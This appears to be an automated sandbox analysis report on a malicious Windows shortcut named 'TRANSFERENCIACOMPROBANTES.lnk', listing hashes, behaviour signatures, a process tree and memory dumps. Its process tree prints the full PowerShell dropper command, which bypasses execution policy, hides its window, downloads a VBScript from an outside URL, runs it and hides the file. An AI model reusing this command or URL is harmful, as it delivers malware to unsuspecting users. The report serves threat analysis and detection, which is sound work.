Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    09-12-2024 05:48

General

  • Target

    TRANSFERENCIACOMPROBANTES.lnk

  • Size

    2KB

  • MD5

    cfd668a55ea2ee344f5a9badb6ff18b7

  • SHA1

    b3927747076a408a9e73afa0df3a6adadcbae950

  • SHA256

    05692e7735450069cc9e0c78bb80514c312d40ef47efbbbaae701a624fbabfba

  • SHA512

    e8976004a15afced95af6a14e0c8360be13014dffdcac71aff24964036318b9cec958ce87db71dfec79f88944367ed7c6beb0b6ba8187f7329d44b55fc3fa943

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIACOMPROBANTES.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass gfdhozhdfbofdjqbopntjfmdjtginrdf -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2952

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2952-38-0x000007FEF664E000-0x000007FEF664F000-memory.dmp

    Filesize

    4KB

  • memory/2952-40-0x0000000002780000-0x0000000002788000-memory.dmp

    Filesize

    32KB

  • memory/2952-39-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

    Filesize

    2.9MB

  • memory/2952-41-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/2952-42-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/2952-43-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/2952-44-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/2952-45-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/2952-46-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB